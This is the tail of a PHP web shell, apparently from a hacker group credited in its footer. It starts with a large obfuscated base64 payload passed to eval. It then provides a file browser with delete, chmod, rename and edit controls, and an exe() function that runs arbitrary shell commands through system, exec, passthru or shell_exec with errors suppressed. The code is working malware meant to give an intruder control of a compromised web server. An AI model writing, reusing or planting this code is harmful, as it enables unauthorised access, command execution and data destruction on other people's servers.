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'))))); ///////////////////////////udah sampe situ aja,, blom di tambahin lagi echo '</center>'; $scandir = scandir($path); echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr class="first"> <td><center>Name</center></td> <td><center>Size</center></td> <td><center>Permission</center></td> <td><center>Modify</center></td> </tr>'; foreach($scandir as $dir){ if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue; echo '<tr> <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td> <td><center>--</center></td> <td><center>'; if(is_writable($path.'/'.$dir)) echo '<font color="pink">'; elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">'; echo perms($path.'/'.$dir); if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>'; echo '</center></td> <td><center><form method="POST" action="?option&path='.$path.'"> <select name="opt"> <option value="">Select</option> <option value="delete">Delete</option> <option value="chmod">Chmod</option> <option value="rename">Rename</option> </select> <input type="hidden" name="type" value="dir"> <input type="hidden" name="name" value="'.$dir.'"> <input type="hidden" name="path" value="'.$path.'/'.$dir.'"> <input type="submit" value=">"> </form></center></td> </tr>'; } echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'; foreach($scandir as $file){ if(!is_file($path.'/'.$file)) continue; $size = filesize($path.'/'.$file)/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo '<tr> <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td> <td><center>'.$size.'</center></td> <td><center>'; if(is_writable($path.'/'.$file)) echo '<font color="pink">'; elseif(!is_readable($path.'/'.$file)) echo '<font color="purple">'; echo perms($path.'/'.$file); if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>'; echo '</center></td> <td><center><form method="POST" action="?option&path='.$path.'"> <select name="opt"> <option value="">Select</option> <option value="delete">Delete</option> <option value="chmod">Chmod</option> <option value="rename">Rename</option> <option value="edit">Edit</option> </select> <input type="hidden" name="type" value="file"> <input type="hidden" name="name" value="'.$file.'"> <input type="hidden" name="path" value="'.$path.'/'.$file.'"> <input type="submit" value=">"> </form></center></td> </tr>'; } echo '</table> </div>'; } echo " </center> </body> </html>"; /////////////// function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } //////all functions disini tempatnya///// function exe($cmd) { if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; } } //////////////////////////////////////// echo '<center><br><br>Copyright © 2017 _Tuan2Fay_ | <a href="http://blog.garudasecurityhacker.org/" style="text-decoration:none;">Garuda Security Hacker</a></center>'; ?>